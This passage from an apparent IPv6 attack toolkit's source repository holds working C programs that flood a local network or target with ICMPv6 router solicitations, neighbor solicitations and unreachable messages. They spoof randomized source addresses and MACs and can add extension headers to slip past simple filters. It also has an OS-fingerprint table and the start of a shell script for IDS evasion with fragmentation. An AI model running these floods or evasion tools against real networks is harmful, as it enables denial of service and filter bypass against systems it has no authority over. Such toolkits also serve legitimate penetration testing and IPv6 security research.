166 | pkt = thc_destroy_packet(pkt); 167 | // usleep(1); 168 | if (count % 1000 == 0) printf("."); 169 | } 170 | return 0; 171 | } 172 | -------------------------------------------------------------------------------- /flood_rs6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | extern int debug; 14 | 15 | void help(char *prg) { 16 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 17 | printf("Syntax: %s [-sS] interface [target]\n\n", prg); 18 | printf("Flood the local network with ICMPv6 Router Soliciation packets.\n"); 19 | printf( 20 | "Option -s uses random source IPv6 addresses. Option -S also randomizes " 21 | "the MAC.\n"); 22 | // printf("-F/-D/-H add fragment/destination/hopbyhop header to bypass simple 23 | // filters\n"); printf("Use -r to use raw mode.\n\n"); 24 | exit(-1); 25 | } 26 | 27 | int main(int argc, char *argv[]) { 28 | char * interface; 29 | unsigned char mac[6] = "", *mac6 = mac; 30 | unsigned char buf[1460]; 31 | unsigned char *dst = thc_resolve6("ff02::1"), *src = NULL, *dstmac = NULL; 32 | int i, k, type = NXT_ICMP6, offset = 14, mychecksum, prefer = PREFER_LINK; 33 | unsigned char *pkt2 = NULL; 34 | int pkt_len2 = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, do_dst = 0; 35 | int until = 0, rand_src = 0, rand_mac = 0; 36 | thc_ipv6_hdr *hdr = NULL; 37 | 38 | if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 39 | 40 | while ((i = getopt(argc, argv, "sSDFH")) >= 0) { 41 | switch (i) { 42 | case 'F': 43 | do_frag++; 44 | break; 45 | case 'H': 46 | do_hop = 1; 47 | break; 48 | case 'D': 49 | do_dst = 1; 50 | break; 51 | case 's': 52 | rand_src = 1; 53 | break; 54 | case 'S': 55 | rand_mac = 1; 56 | break; 57 | default: 58 | fprintf(stderr, "Error: invalid option %c\n", i); 59 | exit(-1); 60 | } 61 | } 62 | 63 | if (argc - optind < 1) help(argv[0]); 64 | 65 | srand(time(NULL) + getpid()); 66 | setvbuf(stdout, NULL, _IONBF, 0); 67 | 68 | interface = argv[optind]; 69 | if (argc - optind > 1) { 70 | if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { 71 | fprintf(stderr, "Error: could not resolve %s\n", argv[optind + 1]); 72 | exit(-1); 73 | } 74 | if (dst[0] >= 0x20 && dst[0] <= 0xfd) prefer = PREFER_GLOBAL; 75 | } 76 | dstmac = thc_get_mac(interface, src, dst); 77 | src = thc_get_own_ipv6(interface, dst, prefer); 78 | mac6 = thc_get_own_mac(interface); 79 | 80 | if (mac6 == NULL) { 81 | fprintf(stderr, "Error: invalid interface %s\n", interface); 82 | exit(-1); 83 | } 84 | 85 | memset(buf, 0, sizeof(buf)); 86 | buf[0] = 1; 87 | buf[1] = 1; 88 | memcpy(buf + 2, mac6, 6); 89 | i = 8; 90 | 91 | if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len2, src, 92 | dst, 0, 0, 0, 0, 0)) == NULL) 93 | return -1; 94 | if (thc_add_icmp6(pkt2, &pkt_len2, ICMP6_ROUTERSOL, 0, 0, buf, i, 0) < 0) 95 | return -1; 96 | thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2); 97 | hdr = (thc_ipv6_hdr *)pkt2; 98 | 99 | k = rand(); 100 | 101 | if (do_hdr_size) offset = do_hdr_size; 102 | 103 | printf( 104 | "Starting to flood with ICMPv6 router solicitation on %s (Press " 105 | "Control-C to end, a dot is printed for every 1000 packets):\n", 106 | interface); 107 | while (until != 1) { 108 | if (rand_mac) { 109 | memcpy(hdr->pkt + 8, (char *)&k + _TAKE4, 4); 110 | memcpy(hdr->pkt + 14 + 40 + 8 + 2 + 2, (char *)&k + _TAKE4, 4); 111 | } 112 | if (rand_src) { memcpy(hdr->pkt + 14 + 8 + 8 + 5, (char *)&k + _TAKE3, 3); } 113 | if (rand_mac || rand_src) { 114 | hdr->pkt[offset + 42] = 0; 115 | hdr->pkt[offset + 43] = 0; 116 | mychecksum = checksum_pseudo_header( 117 | hdr->pkt + offset + 8, hdr->pkt + offset + 24, NXT_ICMP6, 118 | hdr->pkt + offset + 40, pkt_len2 - offset - 40); 119 | hdr->pkt[offset + 42] = mychecksum / 256; 120 | hdr->pkt[offset + 43] = mychecksum % 256; 121 | k++; 122 | } 123 | count++; 124 | if (thc_send_pkt(interface, pkt2, &pkt_len2) < 0) { printf("!"); } 125 | 126 | // usleep(1); 127 | if (count % 1000 == 0) printf("."); 128 | if (until > 1) until--; 129 | } 130 | 131 | return 0; 132 | } 133 | -------------------------------------------------------------------------------- /flood_solicitate6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s [-k | -m mac] [-a] interface [target [query-address]]\n\n", 16 | prg); 17 | printf("Flood the network with neighbor solicitations.\n"); 18 | printf("if not supplied, target is random and query address is ff02::1\n"); 19 | printf( 20 | "Use -a to add a hopbyhop header with router alert, -k to send with your " 21 | "real\nmac, -m to specify a mac or its randomized otherwise.\n"); 22 | // printf("Use -r to use raw mode.\n\n"); 23 | exit(-1); 24 | } 25 | 26 | int main(int argc, char *argv[]) { 27 | char * interface, mac[8] = "", srcmac[8] = ""; 28 | unsigned char *mac6 = mac, *ip6, *query6, *smac = NULL; 29 | unsigned char buf[24]; 30 | unsigned char *dst = thc_resolve6("ff02::1"), 31 | *dstmac = thc_get_multicast_mac(dst), *target = NULL; 32 | int i, do_alert = 0, no_spoof = 0; 33 | unsigned char *pkt = NULL, buf2[6]; 34 | int pkt_len = 0, rawmode = 0, count = 0; 35 | 36 | if (argc > 1 && strncmp(argv[1], "-a", 2) == 0) { 37 | do_alert = 1; 38 | argc--; 39 | argv++; 40 | } 41 | if (argc > 2 && strncmp(argv[1], "-k", 2) == 0) { 42 | if ((smac = thc_get_own_mac(argv[2])) == NULL) { 43 | fprintf(stderr, "Error: invalid interface %s\n", argv[2]); 44 | exit(-1); 45 | } 46 | argv++; 47 | argc--; 48 | } 49 | if (argc > 2 && strncmp(argv[1], "-m", 2) == 0) { 50 | sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], 51 | (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], 52 | (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], 53 | (unsigned int *)&srcmac[5]); 54 | smac = srcmac; 55 | argv += 2; 56 | argc -= 2; 57 | } 58 | if (argc > 1 && strncmp(argv[1], "-a", 2) == 0) { 59 | do_alert = 1; 60 | argc--; 61 | argv++; 62 | } 63 | if (smac != NULL) mac6 = smac; 64 | 65 | if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 66 | 67 | if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) 68 | printf("WARNING: %s is not working with injection!\n", argv[0]); 69 | 70 | srand(time(NULL) + getpid()); 71 | setvbuf(stdout, NULL, _IONBF, 0); 72 | 73 | interface = argv[1]; 74 | if (thc_get_own_mac(interface) == NULL) { 75 | fprintf(stderr, "Error: invalid interface %s\n", interface); 76 | exit(-1); 77 | } 78 | 79 | if (argc > 2) 80 | if ((target = thc_resolve6(argv[2])) == NULL) { 81 | fprintf(stderr, "Error: Can not resolve %s\n", argv[2]); 82 | exit(-1); 83 | } 84 | 85 | query6 = dst; 86 | if (argc > 3) { 87 | if ((query6 = thc_resolve6(argv[3])) == NULL) { 88 | fprintf(stderr, "Error: Can not resolve %s\n", argv[2]); 89 | exit(-1); 90 | } else { 91 | dstmac = thc_get_mac(interface, NULL, query6); 92 | } 93 | if (query6[0] < 0xfe && query6[0] >= 0x20) no_spoof = 1; 94 | } 95 | 96 | if (no_spoof) { 97 | ip6 = thc_get_own_ipv6(interface, query6, PREFER_GLOBAL); 98 | memset(ip6 + 8, 0, 8); 99 | } else { 100 | ip6 = malloc(16); 101 | memset(ip6, 0, 16); 102 | ip6[0] = 0xfe; 103 | ip6[1] = 0x80; 104 | } 105 | ip6[8] = 0x02; 106 | ip6[9] = mac[1]; 107 | ip6[11] = 0xff; 108 | ip6[12] = 0xfe; 109 | 110 | mac[0] = 0x00; 111 | mac[1] = 0x18; 112 | memset(buf, 0, sizeof(buf)); 113 | buf[16] = 1; 114 | buf[17] = 1; 115 | buf[18] = mac[0]; 116 | buf[19] = mac[1]; 117 | if (target != NULL) memcpy(buf, target, 16); 118 | 119 | if (do_alert) { 120 | memset(buf2, 0, sizeof(buf2)); 121 | buf2[0] = 5; 122 | buf2[1] = 2; 123 | } 124 | 125 | printf( 126 | "Starting to flood network with neighbor solicitations on %s (Press " 127 | "Control-C to end, a dot is printed for every 1000 packets):\n", 128 | interface); 129 | while (1) { 130 | // use previous src as target if we did not specify a target 131 | if (target == NULL) memcpy(buf, ip6, 16); 132 | 133 | for (i = 2; i < 6; i++) 134 | mac[i] = rand() % 256; 135 | 136 | if (no_spoof == 0) { 137 | ip6[10] = mac[2]; 138 | ip6[13] = mac[3]; 139 | ip6[14] = mac[4]; 140 | ip6[15] = mac[5]; 141 | } 142 | memcpy(&buf[20], mac + 2, 4); 143 | count++; 144 | 145 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, 146 | query6, 255, 0, 0, 0, 0)) == NULL) 147 | return -1; 148 | if (do_alert) 149 | if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) 150 | return -1; 151 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, buf, sizeof(buf), 152 | 0) < 0) 153 | return -1; 154 | if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { 155 | // fprintf(stderr, "Error sending packet no. %d on interface %s: ", 156 | // count, interface); perror(""); return -1; 157 | printf("!"); 158 | } 159 | 160 | pkt = thc_destroy_packet(pkt); 161 | // usleep(1); 162 | if (count % 1000 == 0) printf("."); 163 | } 164 | return 0; 165 | } 166 | -------------------------------------------------------------------------------- /flood_unreach6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s [-HFD] [-p|-h] [-r|-R] interface target\n\n", prg); 16 | printf("Flood the target with ICMPv6 unreachable packets.\n"); 17 | printf( 18 | "-F/-D/-H add fragment/destination/hopbyhop header to bypass simple " 19 | "filters\n"); 20 | printf( 21 | "-p/-h send port/host unreachable instead of network unreachable\n"); 22 | printf("-r/-R randomize source from /64 / randomize source completely\n"); 23 | // printf("Use -r to use raw mode.\n\n"); 24 | exit(-1); 25 | } 26 | 27 | int main(int argc, char *argv[]) { 28 | char * interface, mac[6] = "", newroutermac[6]; 29 | unsigned char *mac6 = mac; 30 | unsigned char buf[1460], buf2[6], buf3[1504]; 31 | unsigned char *dst = thc_resolve6("ff02::1"), *src = NULL, *fake_dst = NULL, 32 | *dstmac = NULL, *oldrouter = NULL, *newrouter = NULL; 33 | int i, j, k, type = NXT_ICMP6, offset = 14, rand_newrouter = 1, rand_src = 0, 34 | unreach = 0; 35 | unsigned char *pkt = NULL, *pkt2 = NULL; 36 | int pkt_len = 0, pkt_len2 = 0, rawmode = 0, count = 0, do_alert = 0, 37 | do_hop = 0, do_frag = 0, do_dst = 0; 38 | int until = 0; 39 | thc_ipv6_hdr *hdr = NULL, *hdr2 = NULL; 40 | 41 | if (argc < 3) help(argv[0]); 42 | 43 | while ((i = getopt(argc, argv, "DFHphrR")) >= 0) { 44 | switch (i) { 45 | case 'p': 46 | unreach = 4; 47 | break; 48 | case 'h': 49 | unreach = 3; 50 | break; 51 | case 'r': 52 | rand_src = 1; 53 | break; 54 | case 'R': 55 | rand_src = 2; 56 | break; 57 | case 'F': 58 | do_frag++; 59 | break; 60 | case 'H': 61 | do_hop = 1; 62 | break; 63 | case 'a': 64 | do_alert = 1; 65 | do_hop = 1; 66 | break; 67 | case 'D': 68 | do_dst = 1; 69 | break; 70 | default: 71 | fprintf(stderr, "Error: invalid option %c\n", i); 72 | exit(-1); 73 | } 74 | } 75 | 76 | if (argc - optind < 1) help(argv[0]); 77 | 78 | srand(time(NULL) + getpid()); 79 | setvbuf(stdout, NULL, _IONBF, 0); 80 | 81 | interface = argv[optind]; 82 | dst = thc_resolve6(argv[optind + 1]); 83 | mac6 = thc_get_own_mac(interface); 84 | src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); 85 | dstmac = thc_get_mac(interface, src, dst); 86 | 87 | if (mac6 == NULL) { 88 | fprintf(stderr, "Error: invalid interface %s\n", interface); 89 | exit(-1); 90 | } 91 | 92 | // we keep our real source in the packet to report as unreachable to allow 93 | // tracing misuse of the tool 94 | if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, dst, 95 | src, 0, 0, 0, 0, 0)) == NULL) 96 | return -1; 97 | if (thc_add_udp(pkt2, &pkt_len2, 53, 53, 0, NULL, 0) < 0) return -1; 98 | thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2); 99 | hdr = (thc_ipv6_hdr *)pkt2; 100 | 101 | if (do_hdr_size) offset = do_hdr_size; 102 | 103 | memset(buf3, 0, sizeof(buf3)); 104 | memcpy(buf, hdr->pkt + offset, hdr->pkt_len - offset); 105 | j = hdr->pkt_len - offset; 106 | 107 | if (do_alert) { 108 | buf2[0] = 5; 109 | buf2[1] = 2; 110 | } 111 | 112 | printf( 113 | "Starting to flood with ICMPv6 unreachable on %s (Press Control-C to " 114 | "end, a dot is printed for every 1000 packets):\n", 115 | interface); 116 | while (until != 1) { 117 | if (rand_src > 0) { 118 | for (i = 0; i < 8; i++) 119 | src[8 + i] = rand() % 256; 120 | if (rand_src > 1) 121 | for (i = 1; i < 8; i++) 122 | src[i] = rand() % 256; 123 | } 124 | 125 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, 126 | dst, 255, 0, 0, 0, 0)) == NULL) 127 | return -1; 128 | if (do_hop) { 129 | type = NXT_HBH; 130 | if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) 131 | return -1; 132 | } 133 | if (do_frag) { 134 | if (type == NXT_ICMP6) type = NXT_FRAG; 135 | for (i = 0; i < do_frag; i++) 136 | if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0) 137 | return -1; 138 | } 139 | if (do_dst) { 140 | if (type == NXT_ICMP6) type = NXT_DST; 141 | if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; 142 | } 143 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_UNREACH, unreach, 0, buf, j, 0) < 0) 144 | return -1; 145 | if (do_dst) { 146 | thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len); 147 | hdr2 = (thc_ipv6_hdr *)pkt; 148 | thc_send_as_fragment6(interface, oldrouter, dst, type, 149 | hdr2->pkt + 40 + offset, 150 | hdr2->pkt_len - 40 - offset, 1240); 151 | } else { 152 | if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 153 | 0) { 154 | printf("!"); 155 | } 156 | } 157 | count++; 158 | 159 | pkt = thc_destroy_packet(pkt); 160 | if (count % 1000 == 0) printf("."); 161 | if (until > 1) until--; 162 | } 163 | 164 | return 0; 165 | } 166 | -------------------------------------------------------------------------------- /four2six.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "thc-ipv6.h" 15 | 16 | void help(char *prg) { 17 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 18 | printf( 19 | "Syntax: %s [-FHD] [-m srcmac] [-s src6] [-p srcport] interface " 20 | "ipv6-to-ipv4-gateway ipv4-src ipv4-dst [port]\n\n", 21 | prg); 22 | printf("Options:\n"); 23 | printf( 24 | " -F insert atomic fragment header (can be set multiple " 25 | "times)\n"); 26 | printf(" -H insert and empty hop-by-hop header\n"); 27 | printf( 28 | " -D insert a large destination header that fragments the " 29 | "packet\n"); 30 | printf(" -p srcport set a specific UDP source port or Ping ID\n"); 31 | printf(" -s src6 set a specific IPv6 source address\n"); 32 | printf(" -m srcmac set a specific MAC source address\n"); 33 | printf( 34 | "\nSend an IPv4 packet to an IPv6 4to6 gateway. If a port is specified, " 35 | "a UDP packet is sent, otherwise an ICMPv4 ping.\n"); 36 | 37 | exit(-1); 38 | } 39 | 40 | int main(int argc, char *argv[]) { 41 | unsigned char *pkt1 = NULL, buf2[6], buf3[1500]; 42 | unsigned char *gateway6, *src6 = NULL, *dst6 = NULL, srcmac[16] = "", 43 | *mac = NULL; 44 | int pkt1_len = 0, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, 45 | do_frag = 0, cnt, type = NXT_ICMP6, offset = 14; 46 | char * interface; 47 | thc_ipv6_hdr *hdr; 48 | int src4 = 0, dst4 = 0, port = -1, sport = 10240 + getpid() % 10240; 49 | 50 | if (argc < 5 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 51 | 52 | if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) 53 | printf("WARNING: %s is not working with injection!\n", argv[0]); 54 | 55 | while ((i = getopt(argc, argv, "DFHs:m:p:")) >= 0) { 56 | switch (i) { 57 | case 'F': 58 | do_frag++; 59 | break; 60 | case 'H': 61 | do_hop = 1; 62 | break; 63 | case 'D': 64 | do_dst = 1; 65 | break; 66 | case 'm': 67 | mac = srcmac; 68 | sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], 69 | (unsigned int *)&mac[1], (unsigned int *)&mac[2], 70 | (unsigned int *)&mac[3], (unsigned int *)&mac[4], 71 | (unsigned int *)&mac[5]); 72 | break; 73 | case 's': 74 | if ((src6 = thc_resolve6(optarg)) == NULL) { 75 | fprintf(stderr, "Error: invalid IPv6 source address specified: %s\n", 76 | optarg); 77 | } 78 | break; 79 | case 'p': 80 | sport = atoi(optarg); 81 | break; 82 | default: 83 | fprintf(stderr, "Error: invalid option %c\n", i); 84 | exit(-1); 85 | } 86 | } 87 | 88 | if (argc - optind < 4) help(argv[0]); 89 | 90 | if (do_hdr_size) offset = do_hdr_size; 91 | interface = argv[optind]; 92 | if ((gateway6 = thc_resolve6(argv[optind + 1])) == NULL) { 93 | fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", 94 | argv[optind + 1]); 95 | exit(-1); 96 | } 97 | 98 | // src ip4, dst ip4 99 | if (inet_aton(argv[optind + 2], (struct in_addr *)&src4) < 0) { 100 | fprintf(stderr, "Error: not a valid IPv4 address: %s\n", argv[optind + 2]); 101 | exit(-1); 102 | } 103 | if (inet_aton(argv[optind + 3], (struct in_addr *)&dst4) < 0) { 104 | fprintf(stderr, "Error: not a valid IPv4 address: %s\n", argv[optind + 3]); 105 | exit(-1); 106 | } 107 | 108 | if (argc - optind > 4) port = atoi(argv[optind + 4]); 109 | 110 | if (mac == NULL) { 111 | if ((mac = thc_get_own_mac(interface)) == NULL) { 112 | fprintf(stderr, "Error: invalid interface %s\n", interface); 113 | exit(-1); 114 | } 115 | } 116 | 117 | if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, 118 | gateway6, 64, 0, 0, 0, 0)) == NULL) 119 | return -1; 120 | if (do_hop) { 121 | type = NXT_HBH; 122 | if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0) 123 | return -1; 124 | } 125 | if (do_frag) { 126 | if (type == NXT_ICMP6) type = NXT_FRAG; 127 | for (i = 0; i <= do_frag; i++) 128 | if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0) return -1; 129 | } 130 | if (do_dst) { 131 | if (type == NXT_ICMP6) type = NXT_DST; 132 | if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0) return -1; 133 | } 134 | if (thc_add_ipv4_rudimentary(pkt1, &pkt1_len, src4, dst4, sport, port) < 0) 135 | return -1; 136 | if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) { 137 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 138 | exit(-1); 139 | } 140 | 141 | printf("Sending IPv4 %s packet from %s to %s via 4to6 gateway %s\n", 142 | port == -1 ? "ICMPv4 ping" : "UDPv4", argv[optind + 2], 143 | argv[optind + 3], argv[optind + 1]); 144 | if (do_dst) { 145 | hdr = (thc_ipv6_hdr *)pkt1; 146 | thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, 147 | hdr->pkt_len - 40 - offset, 1240); 148 | } else { 149 | thc_send_pkt(interface, pkt1, &pkt1_len); 150 | } 151 | 152 | return 0; 153 | } 154 | -------------------------------------------------------------------------------- /fps.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) warlord @ nologin.org. All rights reserved. 3 | For more information, please visit http://www.nologin.org 4 | */ 5 | 6 | static struct fingerprints { 7 | char *fingerprint; 8 | char *OS; 9 | } 10 | 11 | fingerprintsArray[] = { 12 | {"0040:b0:ffff:SS05a0:NOP:WSxx:NOP:NOP:TS:SP:NOP:NOP", "QNX 6.x"}, 13 | {"002c:60:16d0:SS059c", "LWP embedded TCP/IP stack"}, 14 | {"003c:a0:4000:SS05a0:NOP:WSxx:SP:TS", "Ironport"}, 15 | {"0028:50:0100", "Dell Switch"}, 16 | {"0028:50:0200", "Dell Switch"}, 17 | {"0028:50:0218", "Packeteer PacketShaper"}, 18 | {"0028:50:0800", "Livingston Portmaster|Dell Switch"}, 19 | {"0028:50:1000", "Cabletron Switch"}, 20 | {"0028:50:2000", "NetBotz Network Monitoring Appliance"}, 21 | {"0028:50:ffff", "Netscreen Firewall"}, 22 | {"002c:60:1020:SS0204", "Cisco IOS (e.g. Switch ME2600)"}, 23 | {"002c:60:16d0:SS05b4", "Solaris v?"}, 24 | {"002c:60:2000:SS0200", "Huawei MA5600"}, 25 | {"002c:60:2000:SS0564", "Windows 2003 Server"}, 26 | {"002c:60:5000:SS0578", "Astoria Networks DSL Modem"}, 27 | {"002c:60:5b40:SS0218", "Polycom ViewStation FX MP"}, 28 | {"002c:60:faf0:SS05b4", "Linux 3.2.x - 3.4.x | Playstation 4"}, 29 | {"002c:60:1020:SS05a0", "Cisco Catalyst 4xxx"}, 30 | {"0030:70:2238:SS05b4:NOP:NOP:SP", "Windows 98"}, 31 | {"0030:70:4000:SS05a0:WSxx", "Cisco ASR"}, 32 | {"0030:70:ffff:SS059c:SP", "Centos v?"}, 33 | {"0034:80:3908:SS0578:NOP:NOP:SP:NOP:WSxx", "QVIS DVR"}, 34 | {"0038:90:16a0:SS0564:SP:TS", "Mac OS X Server v? | Linux v?"}, 35 | {"0038:90:2000:SS0564:SP:TS", "Windows Server 2008 R2 | Windows 7"}, 36 | {"0038:90:2000:SS05b4:SP:TS", "Windows Vista | Windows Server 2008"}, 37 | {"003c:a0:102c:SS0564:NOP:NOP:TS:SP", "F5 BigIP"}, 38 | {"003c:a0:1640:SS059c:SP:TS:NOP:WSxx", 39 | "Metaswitch Perimeta Session Border Controller"}, 40 | {"003c:a0:1650:SS05a0:SP:TS:NOP:WSxx", "Linux 2.6.x"}, 41 | {"003c:a0:1680:SS05ac:SP:TS:NOP:WSxx", "Broadband RouterLLLL"}, 42 | {"003c:a0:16a0:SS05ac:SP:TS:NOP:WSxx", "Mikrotik Router"}, 43 | {"003c:a0:16a0:SS05b4:SP:TS:NOP:WSxx", "Solaris 8 | NetBSD v? | Linux v?"}, 44 | {"003c:a0:2000:SS0400:NOP:WSxx:NOP:NOP:TS", "Alcatel TiMOS Router"}, 45 | {"002c:60:2000:SS0400", "Alcatel TiMOS Router"}, 46 | {"002c:60:8000:SS0400", "Alcatel TiMOS Router"}, 47 | {"003c:a0:2000:SS05a0:NOP:WSxx:SP:TS", "Windows 7"}, 48 | {"003c:a0:2000:SS05b4:NOP:WSxx:SP:TS", 49 | "Windows Vista | Windows 7 | Windows 8 | Windows Server 2008 | Windows " 50 | "2012 Server"}, 51 | {"003c:a0:37c8:SS05a0:SP:TS:NOP:WSxx", "Linux 3.2.x"}, 52 | {"003c:a0:3890:SS0514:SP:TS:NOP:WSxx", "Centos v?"}, 53 | {"003c:a0:3890:SS05b4:SP:TS:NOP:WSxx", "Linux v? | ?Loadbalancer/Cloud?"}, 54 | {"003c:a0:4380:SS05ac:NOP:WSxx:NOP:NOP:TS", "Motorola Residential Gateway"}, 55 | {"003c:a0:4750:SS05a0:SP:TS:NOP:WSxx", "A10 Networks Appliance"}, 56 | {"003c:a0:6f90:SS05a0:SP:TS:NOP:WSxx", "Linux 3.12+"}, 57 | {"003c:a0:8000:SS0400:NOP:WSxx:NOP:NOP:TS", "Alcatel TiMOS Router"}, 58 | {"003c:a0:8000:SS400c:SP:TS:NOP:WSxx", "Linux 3.2.x Ubuntu"}, 59 | {"003c:a0:ffff:SS05a0:NOP:WSxx:SP:TS", "FreeBSD 8.1"}, 60 | {"003c:a0:ffff:SS05b4:NOP:WSxx:SP:TS", "FreeBSD v?"}, 61 | {"0040:b0:4000:SS05b4:NOP:WSxx:NOP:NOP:TS:NOP:NOP:SP", 62 | "Windows 2003 Server"}, 63 | {"0040:b0:8000:SS0564:NOP:NOP:SP:WSxx:NOP:NOP:NOP:TS", "HP-UX v?"}, 64 | {"0040:b0:8000:SS05a0:NOP:WSxx:NOP:NOP:TS:SP:NOP:NOP", "NetBSD v?"}, 65 | {"0040:b0:8000:SS05b4:NOP:NOP:SP:WSxx:NOP:NOP:NOP:TS", "HP-UX v?"}, 66 | {"0040:b0:8026:NOP:NOP:TS:SS05b4:NOP:WSxx:NOP:NOP:SP", "Solaris v?"}, 67 | {"0040:b0:faf0:SS05b4:NOP:WSxx:NOP:NOP:TS:NOP:NOP:SP", 68 | "Windows XP SP3|Windows 2000 Server|Windows Server 2003"}, 69 | {"0040:b0:fffd:SS05a0:NOP:WS02:NOP:NOP:TS:SP:UOP:UOP", "F5"}, 70 | {"0040:b0:fffd:SS05a0:NOP:WSxx:NOP:NOP:TS:SP:UOP:UOP", "F5 BigIP"}, 71 | {"0040:b0:fffd:SS05b4:NOP:WSxx:NOP:NOP:TS:SP", 72 | "Windows Server 2008 R2 | Windows 7 | Redhat v?"}, 73 | {"0040:b0:ffff:SS05b4:NOP:WSxx:NOP:NOP:TS:SP", "Mac OS X Server v?"}, 74 | {"0040:b0:ffff:SS05a0:NOP:WSxx:NOP:NOP:TS:SP", "Mac OS X Maverick"}, 75 | }; 76 | -------------------------------------------------------------------------------- /fragrouter6.h: -------------------------------------------------------------------------------- 1 | // Define protocol types for AF_INET packets 2 | typedef enum { 3 | IP_PROTOCOL_ICMP = 1, 4 | IP_PROTOCOL_IGMP = 2, 5 | IP_PROTOCOL_TCP = 6, 6 | IP_PROTOCOL_UDP = 17, 7 | IP_PROTOCOL_FRAG = 44, 8 | IP_PROTOCOL_ICMP6 = 58, 9 | IP_PROTOCOL_EH_DST = 60 10 | } ip_protocol_enum; 11 | 12 | // Define log levels using with log_message function 13 | typedef enum { 14 | LOG_DEBUG = 0, 15 | LOG_NOTICE = 1, 16 | LOG_WARNING = 2, 17 | LOG_ERROR = 3 18 | } log_level_enum; 19 | 20 | // Define exit codes used in the application 21 | typedef enum { 22 | EXITCODE_OK = 0, 23 | EXITCODE_NO_MEMORY, 24 | EXITCODE_NFQ_OPEN_FAILED, 25 | EXITCODE_NFQ_CLOSE_FAILED, 26 | EXITCODE_NFQ_BIND_FAILED, 27 | EXITCODE_NFQ_UNBIND_FAILED, 28 | EXITCODE_NFQ_CREATEQUEUE_FAILED, 29 | EXITCODE_NFQ_DESTROYQUEUE_FAILED, 30 | EXITCODE_NFQ_SETMODE_FAILED 31 | 32 | } exit_code_enum; 33 | -------------------------------------------------------------------------------- /fragrouter6.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # fragrouter6 startup script 4 | # 5 | 6 | test -z "$1" -o "$1" = "-h" -o -z "$2" && { 7 | echo "fragrouter6 startup script (c) 2022 by van Hauser / THC" 8 | echo 9 | echo "Syntax: $0 [fragrouter6-options] interface evasion-mode [ip6tables-rule]" 10 | echo 11 | echo "fragrouter6-options - additional options for fragrouter, e.g. -e, -t etc." 12 | echo "interface - the interface of the direction to the target" 13 | echo "evasion-mode - the evasion mode number (see fragrouter6 help output)" 14 | echo "ip6tables-rule - rule definition of the traffic you want to have evasion on." 15 | echo " e.g.: -p tcp -d targetipv6 --dport 80" 16 | exit 0 17 | } 18 | 19 | VAR= 20 | while [ '!' -d "/proc/sys/net/ipv6/conf/$1" ]; do 21 | VAR="${VAR}$1 " 22 | shift; 23 | done 24 | INT=$1 25 | MODE=$2 26 | shift ; shift 27 | 28 | test -z "$1" && echo "Warning: no ip6table target definition defined - will manipulate ALL traffic!" 29 | 30 | IPTABLES="`which ip6tables` -t mangle" 31 | 